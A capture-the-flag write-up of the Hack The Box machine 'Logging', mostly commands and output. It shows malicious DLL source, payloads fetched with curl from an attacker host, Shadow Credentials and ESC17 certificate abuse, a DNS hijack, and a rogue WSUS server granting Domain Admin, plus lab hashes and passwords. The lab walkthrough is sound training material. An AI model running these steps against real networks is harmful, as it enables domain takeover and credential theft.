Hackthebox: Logging

Foued SAIDI Lv5

Overview

Logging is a hard-difficulty Windows machine from Hack The Box that walks through a full Active Directory compromise chained around a WSUS deployment. We start with a foothold on an SMB Logs share where a verbose IdentitySync trace leaks an old svc_recovery password; a simple yearly rotation guess (2025 → 2026) gets us valid Kerberos-only credentials. From there we abuse svc_recovery‘s GenericWrite over the msa_health$ managed service account through a Shadow Credentials attack to recover its NT hash and land a WinRM session. As msa_health$ we abuse a writable UpdateMonitor service that loads a DLL from a directory we control, giving us code execution as jaylee.clifton and the user flag. Finally we harvest jaylee’s TGT with Rubeus, extract her NT hash through ADCS, abuse the ESC17-vulnerable UpdateSrv template together with a DNS hijack to spoof wsus.logging.htb, and stand up a rogue WSUS server (wsuks) that pushes a Microsoft-signed PsExec64.exe as a SYSTEM update, adding msa_health$ to Domain Admins and handing us the root flag.

Logging-info-card
Logging-info-card

Reconnaissance

Before touching the box we add the target to /etc/hosts and sync our clock with the domain controller. This is not optional here, Kerberos will refuse to play along if the clock skew is too large:

1
2
echo "10.129.36.116 logging.htb dc01.logging.htb" | sudo tee -a /etc/hosts
sudo ntpdate 10.129.36.116

With that out of the way we run a full TCP port scan to see what services are exposed:

1
nmap -sC -sV -p- --min-rate 5000 10.129.36.116
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
PORT      STATE SERVICE       VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb0., Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open ssl/ldap
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8530/tcp open http Microsoft IIS httpd 10.0
8531/tcp open ssl/http Microsoft IIS httpd 10.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664-49743/tcp open msrpc Microsoft Windows RPC

Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode: 3:1:1: Message signing enabled and required
|_clock-skew: mean: 7h00m00s

The scan tells us a lot. We’re dealing with an Active Directory domain controller (DC01.logging.htb), WSUS is exposed on ports 8530/8531, WinRM is available on 5985, SMB signing is required, and there’s a substantial 7-hour clock skew between us and the target which we’ll need to keep compensating for throughout the box.

Initial Access - SMB Enumeration

We’re handed a set of credentials for this box, wallace.everette:Welcome2026@, so the first thing we do is confirm they actually work against SMB:

1
nxc smb 10.129.36.116 -u 'wallace.everette' -p 'Welcome2026@'
1
2
SMB  10.129.36.116  445  DC01  [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None)
SMB 10.129.36.116 445 DC01 [+] logging.htb\wallace.everette:Welcome2026@

They’re valid, so we enumerate the available shares:

1
smbclient -L //10.129.36.116/ -U 'logging.htb/wallace.everette%Welcome2026@'
1
2
3
4
5
6
7
8
9
Sharename       Type      Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Logs Disk
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
WSUSTemp Disk A network share used by Local Publishing from a Remote WSUS Console Instance.

The non-default Logs share immediately stands out, so we recursively pull everything out of it:

1
2
mkdir -p logs && cd logs
smbclient '//10.129.36.116/Logs' -U 'logging.htb/wallace.everette%Welcome2026@' -c 'recurse; prompt; mget *'
1
2
3
4
getting file \Audit_Heartbeat.log of size 1294 as Audit_Heartbeat.log (0.8 KiloBytes/sec)
getting file \IdentitySync_Trace_20260219.log of size 8488 as IdentitySync_Trace_20260219.log (4.6 KiloBytes/sec)
getting file \Service_State.log of size 468 as Service_State.log (0.4 KiloBytes/sec)
getting file \TaskMonitor.log of size 1170 as TaskMonitor.log (1.0 KiloBytes/sec)

Credential Discovery from Logs

Reading through the downloaded logs, IdentitySync_Trace_20260219.log turns out to be a verbose LDAP connection dump that carelessly logs plaintext credentials for a service account:

1
2
3
[2026-02-09 03:00:03.125] [PID:4102] [Thread:04] VERBOSE - ConnectionContext Dump:
{ Domain: "logging.htb", Server: "DC01", SSL: "False",
BindUser: "LOGGING\svc_recovery", BindPass: "Em3rg3ncyPa$$2025", Timeout: 30 }

The catch is that the same log shows this password was already invalid by the time the trace was captured:

1
2
[2026-02-19 03:00:03.488] [PID:4102] [Thread:04] ERROR -
Server error: 8009030C ... data 52e ... LDAP_INVALID_CREDENTIALS

The password Em3rg3ncyPa$$2025 embeds a year, which is a classic sign of a rotation policy. We guess the account was rotated forward and swap 2025 for 2026:

1
nxc smb dc01.logging.htb -u 'svc_recovery' -p 'Em3rg3ncyPa$$2026'
1
SMB  10.129.36.116  445  DC01  [-] logging.htb\svc_recovery:Em3rg3ncyPa$$2026 STATUS_ACCOUNT_RESTRICTION

STATUS_ACCOUNT_RESTRICTION is exactly what we want to see here. It means the password is correct but the account is restricted to Kerberos-only authentication (NTLM is disabled), so we can’t authenticate over NTLM but the credential is confirmed good.

Since we’re forced into Kerberos, we build a krb5.conf for the domain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sudo bash -c 'cat > /etc/krb5.conf << EOF
[libdefaults]
default_realm = LOGGING.HTB
dns_lookup_realm = false
dns_lookup_kdc = false

[realms]
LOGGING.HTB = {
kdc = dc01.logging.htb
admin_server = dc01.logging.htb
}

[domain_realm]
.logging.htb = LOGGING.HTB
logging.htb = LOGGING.HTB
EOF'

Then we request a TGT for svc_recovery. Because the environment keeps resetting our clock, we chain ntpdate and kinit inside a single sudo session so the time is correct at the moment the ticket is requested:

1
sudo bash -c 'ntpdate 10.129.36.116; echo "Em3rg3ncyPa\$\$2026" | kinit [email protected]'
1
2
CLOCK: time stepped by 25200.579937
Password for [email protected]:

We copy the resulting ticket cache into our working directory and confirm it loaded:

1
2
3
4
sudo cp /tmp/krb5cc_0 svc_recovery.ccache
sudo chown kali:kali svc_recovery.ccache
export KRB5CCNAME=$(pwd)/svc_recovery.ccache
klist
1
2
3
4
5
Ticket cache: FILE:/home/kali/logging/svc_recovery.ccache
Default principal: [email protected]

Valid starting Expires Service principal
04/23/2026 04:51:57 04/23/2026 08:51:57 krbtgt/[email protected]

Privilege Escalation #1 - Shadow Credentials on msa_health$

With a working ticket in hand, we ask bloodyAD what objects svc_recovery can write to. The faketime wrapper is there to smooth over the constant clock resets that would otherwise trigger Kerberos skew errors:

1
2
export KRB5CCNAME=$(pwd)/svc_recovery.ccache
faketime -f '+25200' bloodyAD -d logging.htb --host dc01.logging.htb -k get writable --detail
1
2
3
4
5
6
distinguishedName: CN=msa_health,CN=Managed Service Accounts,DC=logging,DC=htb
...
msDS-KeyCredentialLink: WRITE
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
servicePrincipalName: WRITE
...

This is the key finding: svc_recovery effectively has GenericWrite over the msa_health$ managed service account, including write access to msDS-KeyCredentialLink. That attribute is exactly what the Shadow Credentials attack targets. We add a key credential to the account:

1
faketime -f '+25200' bloodyAD -d logging.htb --host dc01.logging.htb -k add shadowCredentials 'msa_health$'
1
2
3
[+] KeyCredential generated with following sha256 of RSA key: 0c63433f3fd63c28bef008f40a552ba0d32591bb3a84bdf829ec8be70a208814
[+] Saved PEM certificate at path: N0FlhS0d_cert.pem
[+] Saved PEM private key at path: N0FlhS0d_priv.pem

Now we can authenticate as msa_health$ using that certificate. We first bundle it into a PFX:

1
openssl pkcs12 -export -out msa_health.pfx -inkey N0FlhS0d_priv.pem -in N0FlhS0d_cert.pem -passout pass:

Then we use PKINITtools to request a TGT via PKINIT, which conveniently prints the AS-REP encryption key we’ll need in a moment:

1
2
3
faketime -f '+25200' python3 /tmp/PKINITtools/gettgtpkinit.py \
-cert-pem N0FlhS0d_cert.pem -key-pem N0FlhS0d_priv.pem \
-dc-ip 10.129.36.116 'logging.htb/msa_health$' msa_health.ccache
1
2
3
4
5
INFO:minikerberos:Loading certificate and key from file
INFO:minikerberos:Requesting TGT
INFO:minikerberos:AS-REP encryption key (you might need this later):
INFO:minikerberos:98a21bdbbf06adcfacd4f246408f8246b79ab125621f0e4b7abae435e24f367c
INFO:minikerberos:Saved TGT to file

Feeding that AS-REP key back into getnthash.py recovers the account’s NT hash:

1
2
3
4
export KRB5CCNAME=msa_health.ccache
faketime -f '+25200' python3 /tmp/PKINITtools/getnthash.py \
-key 98a21bdbbf06adcfacd4f246408f8246b79ab125621f0e4b7abae435e24f367c \
-dc-ip 10.129.36.116 'logging.htb/msa_health$'
1
2
3
4
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
603fc24ee01a9409f83c9d1d701485c5

msa_health$ is a member of the Remote Management Users group, so its NT hash gets us a WinRM shell:

1
evil-winrm -u 'msa_health$' -H 603fc24ee01a9409f83c9d1d701485c5 -i dc01.logging.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
*Evil-WinRM* PS C:\Users\msa_health$\Documents> whoami
logging\msa_health$

*Evil-WinRM* PS C:\Users\msa_health$\Documents> dir C:\Users

Directory: C:\Users

Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 4/16/2026 5:27 PM .NET v4.5
d----- 4/16/2026 5:27 PM .NET v4.5 Classic
d----- 4/16/2026 8:30 PM Administrator
d----- 4/16/2026 4:41 PM jaylee.clifton
d----- 4/17/2026 8:33 AM msa_health$
d-r--- 4/10/2020 10:49 AM Public
d----- 4/17/2026 1:47 PM toby.brynleigh

Privilege Escalation #2 - DLL Hijacking (User Flag)

Poking around C:\Program Files\ we find a custom UpdateMonitor .NET application:

1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS> dir "C:\Program Files\UpdateMonitor\"

Directory: C:\Program Files\UpdateMonitor

Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 4/23/2026 4:11 AM bin
d----- 4/16/2026 4:10 PM packages
-a---- 2/21/2026 3:52 PM 189 App.config
-a---- 2/21/2026 3:52 PM 157 packages.config
-a---- 4/9/2026 10:31 PM 8192 UpdateMonitor.exe

Its log file tells us exactly how it behaves:

1
*Evil-WinRM* PS> type C:\ProgramData\UpdateMonitor\Logs\monitor.log | Select-Object -Last 10
1
2
3
4
5
6
7
8
9
[2026-04-23 04:53:15] Starting Sentinel Update Check...
[2026-04-23 04:53:15] Checking for update on core server...
[2026-04-23 04:53:15] Info: Core did not find file Settings_Update.zip
[2026-04-23 04:53:15] Last status: File not found on core
[2026-04-23 04:53:15] Checking for update on local server...
[2026-04-23 04:53:15] No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip.
[2026-04-23 04:53:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
[2026-04-23 04:53:15] Failed to load settings_update.dll. Error code: 126
[2026-04-23 04:53:15] Update check completed.

Reading between the lines, the service runs on a 3-minute cycle, it looks for Settings_Update.zip in C:\ProgramData\UpdateMonitor\, extracts it into C:\Program Files\UpdateMonitor\bin\, and then loads settings_update.dll via LoadLibrary (calling PreUpdateCheck if present). Crucially, the C:\ProgramData\UpdateMonitor\ path is writable by msa_health$, which means we control the DLL that gets loaded.

We write a small C DLL whose DllMain runs a batch of enumeration commands as whatever user loads it, dropping the output to a world-readable file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// evil3.c
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
system("whoami > C:\\ProgramData\\UpdateMonitor\\out.txt 2>&1");
system("type C:\\Users\\jaylee.clifton\\Desktop\\user.txt >> C:\\ProgramData\\UpdateMonitor\\out.txt 2>&1");
system("net user jaylee.clifton >> C:\\ProgramData\\UpdateMonitor\\out.txt 2>&1");
system("net localgroup Administrators >> C:\\ProgramData\\UpdateMonitor\\out.txt 2>&1");
system("whoami /groups >> C:\\ProgramData\\UpdateMonitor\\out.txt 2>&1");
system("dir C:\\Users\\jaylee.clifton\\Documents\\ /s >> C:\\ProgramData\\UpdateMonitor\\out.txt 2>&1");
system("type C:\\Users\\jaylee.clifton\\Documents\\Tickets\\*.html >> C:\\ProgramData\\UpdateMonitor\\out.txt 2>&1");
system("reg query HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate /v WUServer >> C:\\ProgramData\\UpdateMonitor\\out.txt 2>&1");
system("icacls C:\\ProgramData\\UpdateMonitor\\out.txt /grant Everyone:F >nul 2>&1");
}
return TRUE;
}

We cross-compile it as a 32-bit DLL and pack it into the zip the service expects:

1
2
i686-w64-mingw32-gcc -shared -m32 -o settings_update.dll evil3.c -Wl,--subsystem,windows
zip Settings_Update.zip settings_update.dll

Then we host the zip over HTTP and pull it down into the watched directory from our WinRM session:

1
python3 -m http.server 8888
1
*Evil-WinRM* PS> curl http://10.10.16.91:8888/Settings_Update.zip -o C:\ProgramData\UpdateMonitor\Settings_Update.zip

After roughly three minutes the service picks up the zip, extracts the DLL and loads it. The log confirms the load happened (the missing PreUpdateCheck export is fine, DllMain already fired):

1
2
3
4
[2026-04-23 04:56:15] Successfully unzipped update to C:\Program Files\UpdateMonitor\bin\
[2026-04-23 04:56:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
[2026-04-23 04:56:16] 'PreUpdateCheck' not found in settings_update.dll. Continuing...
[2026-04-23 04:56:16] Update check completed.

The DLL executed in the context of jaylee.clifton, so we read back our loot file:

1
*Evil-WinRM* PS> type C:\ProgramData\UpdateMonitor\out.txt
1
2
3
4
5
6
7
8
logging\jaylee.clifton
d394539b6958154d06285fc93707d7cf
User name jaylee.clifton
...
Global Group memberships *Domain Users *IT
...
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ https://wsus.logging.htb:8531

Beyond the user flag (d394539b6958154d06285fc93707d7cf), this dump hands us the map for the rest of the box: jaylee.clifton belongs to the IT group, WSUS lives at https://wsus.logging.htb:8531, and there’s an incident ticket at C:\Users\jaylee.clifton\Documents\Tickets\Incident_4922_WSUS_Remediation_ViewExport.html describing a ForceSync scheduled task that fires every 120 seconds to restart the WSUS client. All three pieces feed directly into the root path.

Privilege Escalation #3 - ADCS ESC17 + WSUS Abuse (Root Flag)

Obtaining jaylee.clifton’s TGT via Rubeus

To move from code execution to real control of jaylee.clifton, we reuse the same DLL-hijack primitive, this time to run Rubeus and dump her TGT with tgtdeleg:

1
2
3
4
5
6
7
8
9
10
// evil_rubeus.c
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
system("C:\\ProgramData\\UpdateMonitor\\Rubeus.exe tgtdeleg /nowrap > C:\\ProgramData\\UpdateMonitor\\rubeus_out.txt 2>&1");
system("icacls C:\\ProgramData\\UpdateMonitor\\rubeus_out.txt /grant Everyone:F >nul 2>&1");
}
return TRUE;
}

Same build and packaging as before, and we upload both the DLL zip and Rubeus:

1
2
i686-w64-mingw32-gcc -shared -m32 -o settings_update.dll evil_rubeus.c -Wl,--subsystem,windows
zip Settings_Update.zip settings_update.dll
1
2
*Evil-WinRM* PS> curl http://10.10.16.91:8888/Rubeus.exe -o C:\ProgramData\UpdateMonitor\Rubeus.exe
*Evil-WinRM* PS> curl http://10.10.16.91:8888/Settings_Update.zip -o C:\ProgramData\UpdateMonitor\Settings_Update.zip

One cycle later we grab the base64 kirbi ticket that Rubeus captured:

1
*Evil-WinRM* PS> type C:\ProgramData\UpdateMonitor\rubeus_out.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
   ______        _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v2.3.3

[*] Action: Request Fake Delegation TGT (current user)
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC01.logging.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

doIFyDCCBcSgAwIBBaEDAgEWooIE....<base64 ticket>....

Converting the Ticket and Getting jaylee’s NT Hash

We decode the kirbi blob and convert it into a ccache we can use with Impacket and certipy:

1
2
echo '<base64_ticket>' | base64 -d > jaylee.kirbi
impacket-ticketConverter jaylee.kirbi jaylee.ccache
1
2
[*] converting kirbi to ccache...
[+] done
1
2
export KRB5CCNAME=jaylee.ccache
klist
1
2
3
4
5
Ticket cache: FILE:/home/kali/logging/jaylee.ccache
Default principal: [email protected]

Valid starting Expires Service principal
04/23/2026 04:59:15 04/23/2026 14:59:15 krbtgt/[email protected]

With jaylee’s TGT loaded, we request a certificate for her from the default template over Kerberos, then use that certificate to pull her NT hash via UnPAC-the-hash:

1
2
export KRB5CCNAME=jaylee.ccache
faketime -f '+25200' certipy-ad req -target dc01.logging.htb -dc-host dc01.logging.htb -k -no-pass -ca logging-DC01-CA
1
2
3
4
5
[*] Requesting certificate via RPC
[*] Request ID is 7
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Saving certificate and private key to 'jaylee.clifton.pfx'
1
faketime -f '+25200' certipy-ad auth -dc-ip 10.129.36.116 -pfx jaylee.clifton.pfx
1
2
3
4
5
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Trying to retrieve NT hash for 'jaylee.clifton'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:1abff5519c569c11dc713706b4a15ae0

That leaves us with jaylee’s NT hash 1abff5519c569c11dc713706b4a15ae0, which we can now use for the ADCS abuse without depending on the flaky ticket.

ESC17 - Requesting a Certificate for wsus.logging.htb

The UpdateSrv template on this CA is vulnerable to ESC17. It lets the enrollee supply the subject (so we can set an arbitrary SAN), it has the Server Authentication EKU (so the resulting cert is valid for TLS), the IT group (which jaylee belongs to) has enrollment rights, and there’s no manager approval so certificates issue automatically. That combination lets us mint a TLS certificate for a hostname we don’t own, wsus.logging.htb:

1
2
3
4
faketime -f '+25200' certipy-ad req -u [email protected] \
-hashes :1abff5519c569c11dc713706b4a15ae0 \
-ca logging-DC01-CA -template UpdateSrv \
-dns wsus.logging.htb -dc-ip 10.129.36.116
1
2
3
4
5
[*] Requesting certificate via RPC
[*] Request ID is 8
[*] Successfully requested certificate
[*] Got certificate with DNS Host Name 'wsus.logging.htb'
[*] Saving certificate and private key to 'wsus.pfx'

We split the PFX into a certificate and key and concatenate them into a single PEM that wsuks can consume:

1
2
3
certipy-ad cert -pfx wsus.pfx -nokey -out wsus.crt
certipy-ad cert -pfx wsus.pfx -nocert -out wsus.key
cat wsus.crt wsus.key > wsus.pem

DNS Record Manipulation

Having a valid certificate for wsus.logging.htb is only half the impersonation, we also need the DC to resolve that hostname to us. Since the DC runs an AD-integrated DNS zone that authenticated users can update, we drop yet another DLL that runs Invoke-DNSUpdate.ps1 to add an A record pointing wsus.logging.htb at our attacker IP:

1
2
3
4
5
6
7
8
9
10
// evil_dns.c
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
system("powershell -ep bypass -c \"IEX(Get-Content C:\\\\ProgramData\\\\UpdateMonitor\\\\Invoke-DNSUpdate.ps1 -Raw); Invoke-DNSUpdate -DNSType A -DNSName wsus.logging.htb -DNSData 10.10.16.91\" > C:\\\\ProgramData\\\\UpdateMonitor\\\\dns_out.txt 2>&1");
system("icacls C:\\\\ProgramData\\\\UpdateMonitor\\\\dns_out.txt /grant Everyone:F >nul 2>&1");
}
return TRUE;
}

Build, zip, and upload it together with the Invoke-DNSUpdate.ps1 script:

1
2
i686-w64-mingw32-gcc -shared -m32 -o settings_update.dll evil_dns.c -Wl,--subsystem,windows
zip Settings_Update.zip settings_update.dll
1
2
*Evil-WinRM* PS> curl http://10.10.16.91:8888/Invoke-DNSUpdate.ps1 -o C:\ProgramData\UpdateMonitor\Invoke-DNSUpdate.ps1
*Evil-WinRM* PS> curl http://10.10.16.91:8888/Settings_Update.zip -o C:\ProgramData\UpdateMonitor\Settings_Update.zip

After the next cycle we confirm the record was added:

1
2
*Evil-WinRM* PS> type C:\ProgramData\UpdateMonitor\dns_out.txt
[+] DNS update successful

Rogue WSUS Server

At this point the DC will resolve wsus.logging.htb to us and trust a TLS certificate we hold for it, which is everything a WSUS client needs to accept updates from a server we control. We start by pointing the hostname at ourselves locally so wsuks can bind to it:

1
echo "10.10.16.91 wsus.logging.htb" | sudo tee -a /etc/hosts

Then install wsuks, the WSUS MITM attack tool:

1
2
pip3 install --break-system-packages wsuks
sudo apt install -y python3-nftables

We launch the rogue WSUS server with a payload command that adds msa_health$ to Domain Admins. The -c flag is passed to PsExec64.exe, a Microsoft-signed binary bundled with wsuks that WSUS is perfectly happy to deploy as a signed update and run as SYSTEM:

1
2
3
4
5
sudo env PATH="/home/kali/.local/bin:$PATH" PYTHONPATH="/home/kali/.local/lib/python3.13/site-packages" \
/home/kali/.local/bin/wsuks --serve-only \
--WSUS-Server wsus.logging.htb --tls-cert wsus.pem \
--WSUS-Port 8531 -I tun0 \
-c '/accepteula -s net group "Domain Admins" msa_health$ /add /domain'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    __          __ _____  _    _  _  __  _____
\ \ / // ____|| | | || |/ / / ____|
\ \ /\ / /| (___ | | | || ' / | (___
\ \/ \/ / \___ \ | | | || < \___ \
\ /\ / ____) || |__| || . \ ____) |
\/ \/ |_____/ \____/ |_|\_\|_____/

Pentesting Tool for the WSUS MITM Attack
Made by NeffIsBack
version: 1.2.1

[+] Command to execute:
PsExec64.exe /accepteula -s net group "Domain Admins" msa_health$ /add /domain
[*] ===== Starting Web Server =====
[*] Using TLS certificate 'wsus.pem' for HTTPS WSUS Server
[*] Starting WSUS Server on 10.10.16.91:8531...
[*] Serving executable as KB: 4226061
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: ".../GetConfig"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: ".../GetCookie"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: ".../SyncUpdates"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: ".../GetCookie"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: ".../GetExtendedUpdateInfo"
[+] Received GET request: /64132e34-28c5-4bc7-a639-d7cb406212f4/PsExec64.exe
[+] GET request for exe: /64132e34-28c5-4bc7-a639-d7cb406212f4/PsExec64.exe

The GET request for PsExec64.exe in the log is the DC pulling our malicious “update”. Within a couple of minutes the ForceSync task from the incident ticket kicks the WSUS client into a check-in, it connects to our rogue server, downloads the signed executable, and runs it as SYSTEM.

Confirming Domain Admin

We verify that the payload landed and msa_health$ is now a Domain Admin:

1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS> net group "Domain Admins" /domain
Group name Domain Admins
Comment Designated administrators of the domain

Members

-------------------------------------------------------------------------------
Administrator msa_health$ toby.brynleigh
The command completed successfully.

Root Flag

A fresh WinRM session picks up the new group membership, and as a Domain Admin we can read the root flag from toby.brynleigh‘s desktop:

1
evil-winrm -u 'msa_health$' -H 603fc24ee01a9409f83c9d1d701485c5 -i dc01.logging.htb
1
2
*Evil-WinRM* PS> type C:\Users\toby.brynleigh\Desktop\root.txt
02e01a65b12970b9119efee8c44016c5

Post-Exploitation

With Domain Admin in hand, everything else falls out. We can dump the domain’s secrets with secretsdump using the msa_health$ hash:

1
impacket-secretsdump 'logging.htb/[email protected]' -hashes :603fc24ee01a9409f83c9d1d701485c5

And from a SYSTEM shell the vault yields cleartext credentials as well:

  • jaylee.clifton : wNR*k5OzdtsvD$4WG!
  • Administrator : ParolaptController2026#

That was it for Logging, hope you learned something new!

-0xkujen

  • Title: Hackthebox: Logging
  • Author: Foued SAIDI
  • Created at : 2026-07-23 19:05:31
  • Updated at : 2026-07-23 19:11:40
  • Link: https://kujen5.github.io/2026/07/23/Hackthebox-Logging/
  • License: This work is licensed under CC BY-NC-SA 4.0.